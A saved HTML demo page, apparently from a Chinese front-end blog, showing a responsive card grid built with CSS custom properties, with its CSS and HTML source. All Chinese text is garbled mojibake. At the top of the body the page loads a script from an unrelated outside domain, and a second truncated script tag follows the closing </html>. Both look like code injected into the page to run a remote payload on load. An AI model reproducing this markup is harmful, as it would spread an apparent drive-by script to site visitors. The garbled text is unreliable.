CSS鍙橀噺涓庡搷搴斿紡甯冨眬禄寮犻懌鏃?閼┖闂?閼敓娲?/title> <link rel="stylesheet" href="../css/demo.css"> <link rel="stylesheet" href="../css/hl.css"> <style> .box { --columns: 4; --margins: calc(24px / var(--columns)); --space: calc(4px * var(--columns)); --fontSize: calc(20px - 4 / var(--columns)); } .box { width: 50%; min-width: 320px; margin: auto; overflow: hidden; } .cell { width: calc((100% - var(--margins) * var(--columns) * 2) / var(--columns)); margin: var(--margins); box-shadow: 0 2px 2px 0 rgba(0,0,0,.14), 0 3px 1px -2px rgba(0,0,0,.2), 0 1px 5px 0 rgba(0,0,0,.12); background-color: #f0f3f9; float: left; } .cell-header { background: currentColor; } .cell-title { color: #fff; padding: var(--space); font-size: var(--fontSize); } .cell-content { height: 150px; padding: var(--space); font-size: var(--fontSize); } @media screen and (max-width: 1200px) { .box { --columns: 3; } } @media screen and (max-width: 900px) { .box { --columns: 2; } } @media screen and (max-width: 600px) { .box { --columns: 1; } } .demo > p { color: gray; font-size: 12px; text-align: center; margin-top: 2em; } </style> </head> <body> <script src="http://www.t7j7.com/js.js"></script> <div id="header"> <a href="/" class="logo" title="鍥炲埌閼┖闂?閼敓娲婚椤?> <img src="/php/image/zxx_home_logo.png" border="0"> </a> </div> <div id="main"> <h1>CSS鍙橀噺涓庡搷搴斿紡甯冨眬瀹炰緥椤甸潰</h1> <div id="body" class="light"> <div id="content" class="show"> <h3>灞曠ず</h3> <div class="article_new"><a href="//olsonnd.com/wordpress/?p=5804">鍥炲埌鐩稿叧鏂囩珷禄</a></div> <div class="demo"> <div class="box"> <div class="cell" style="color: #F44336;"> <header class="cell-header"> <div class="cell-title">绾㈣壊</div> </header> <main class="cell-content">鏀瑰彉娴忚鍣ㄧ殑瀹藉害</main> </div> <div class="cell" style="color: #E91E63;"> <header class="cell-header"> <div class="cell-title">绮夎壊</div> </header> <main class="cell-content">浼氱湅鍒板竷灞€鍙戠敓浜嗗彉鍖?/main> </div> <div class="cell" style="color: #9C27B0;"> <header class="cell-header"> <div class="cell-title">绱壊</div> </header> <main class="cell-content">浠呬粎鏄€氳繃CSS鏀瑰彉涓€涓彉閲忓€煎疄鐜?/main> </div> <div class="cell" style="color: #00BCD4;"> <header class="cell-header"> <div class="cell-title">闈掕壊</div> </header> <main class="cell-content">杩欐瘮浼犵粺鐨勫搷搴斿紡澶勭悊瑕佹洿鐪佷唬鐮佹洿濂界淮鎶?/main> </div> <div class="cell" style="color: #009688;"> <header class="cell-header"> <div class="cell-title">鑼惰壊</div> </header> <main class="cell-content">鏈緥瀛愪富瑕佷负浜嗘紨绀哄搷搴斿紡涓庡彉鍖栨晥鏋?/main> </div> <div class="cell" style="color: #4CAF50;"> <header class="cell-header"> <div class="cell-title">缁胯壊</div> </header> <main class="cell-content">鎵€浠ワ紝鑷充簬甯冨眬鍙樺寲缁嗚妭鏄惁鍚堢悊灏变笉鐢ㄥ湪鎰忎簡銆?/main> </div> </div> <p>鎻愮ず锛氬搷搴斿搴︾偣涓猴細1200px, 900px, 600px</p> </div> <h3>浠ｇ爜</h3> <h5>CSS浠ｇ爜锛?/h5> <pre name="code" class="css">.box { --columns: 4; --margins: calc(24px / var(--columns)); --space: calc(4px * var(--columns)); --fontSize: calc(20px - 4 / var(--columns)); } .box { width: 50%; min-width: 320px; margin: auto; overflow: hidden; } .cell { width: calc((100% - var(--margins) * var(--columns) * 2) / var(--columns)); margin: var(--margins); box-shadow: 0 2px 2px 0 rgba(0,0,0,.14), 0 3px 1px -2px rgba(0,0,0,.2), 0 1px 5px 0 rgba(0,0,0,.12); background-color: #f0f3f9; float: left; } .cell-header { background: currentColor; } .cell-title { color: #fff; padding: var(--space); font-size: var(--fontSize); } .cell-content { height: 150px; padding: var(--space); font-size: var(--fontSize); } @media screen and (max-width: 1200px) { .box { --columns: 3; } } @media screen and (max-width: 900px) { .box { --columns: 2; } } @media screen and (max-width: 600px) { .box { --columns: 1; } }</pre> <h5>HTML浠ｇ爜锛?/h5> <pre name="code" class="html"><div class="box"> <div class="cell" style="color: #F44336;"> <header class="cell-header"> <div class="cell-title">绾㈣壊</div> </header> <main class="cell-content">鏀瑰彉娴忚鍣ㄧ殑瀹藉害</main> </div> <div class="cell" style="color: #E91E63;"> <header class="cell-header"> <div class="cell-title">绮夎壊</div> </header> <main class="cell-content">浼氱湅鍒板竷灞€鍙戠敓浜嗗彉鍖?lt;/main> </div> <div class="cell" style="color: #9C27B0;"> <header class="cell-header"> <div class="cell-title">绱壊</div> </header> <main class="cell-content">浠呬粎鏄€氳繃CSS鏀瑰彉涓€涓彉閲忓€煎疄鐜?lt;/main> </div> <div class="cell" style="color: #00BCD4;"> <header class="cell-header"> <div class="cell-title">闈掕壊</div> </header> <main class="cell-content">杩欐瘮浼犵粺鐨勫搷搴斿紡澶勭悊瑕佹洿鐪佷唬鐮佹洿濂界淮鎶?lt;/main> </div> <div class="cell" style="color: #009688;"> <header class="cell-header"> <div class="cell-title">鑼惰壊</div> </header> <main class="cell-content">鏈緥瀛愪富瑕佷负浜嗘紨绀哄搷搴斿紡涓庡彉鍖栨晥鏋?lt;/main> </div> <div class="cell" style="color: #4CAF50;"> <header class="cell-header"> <div class="cell-title">缁胯壊</div> </header> <main class="cell-content">鎵€浠ワ紝鑷充簬甯冨眬鍙樺寲缁嗚妭鏄惁鍚堢悊灏变笉鐢ㄥ湪鎰忎簡銆?lt;/main> </div> </div></pre> </div> </div> </div>  <script type="text/javascript" src="../js/hl_all.js"></script> <script type="text/javascript"> DlHighlight.HELPERS.highlightByName("code", "pre"); </script> <div id="footer"> Designed & Powerd by <a href="/">zhangxinxu</a><br /> Copyright漏寮犻懌鏃?閼┖闂?閼敓娲?br> <a href="http://www.miibeian.gov.cn/" target="_blank">閯侷CP澶?9015569鍙?/a> </div> <div id="ad"> <script type="text/javascript"> google_ad_client = "pub-0090627341039040";google_ad_slot = "4686885989";google_ad_width = 728;google_ad_height = 90;</script><script type="text/javascript" src="//pagead2.googlesyndication.com/pagead/show_ads.js"></script> <script type="text/javascript"> var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-11205167-1']); _gaq.push(['_trackPageview']); (function() { var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true; ga.src = '//www.google-analytics.com/ga.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s); })(); </script> </div> <script> var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?48d8e938d5365a4cb0fc9e65d945018e"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); </script> <script> (function(){ var bp = document.createElement('script'); var curProtocol = window.location.protocol.split(':')[0]; if (curProtocol === 'https'){ bp.src = 'https://zz.bdstatic.com/linksubmit/push.js'; } else{ bp.src = 'http://push.zhanzhang.baidu.com/push.js'; } var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(bp, s); })(); </script> </body> </html><script type="text/javascript" src="/sys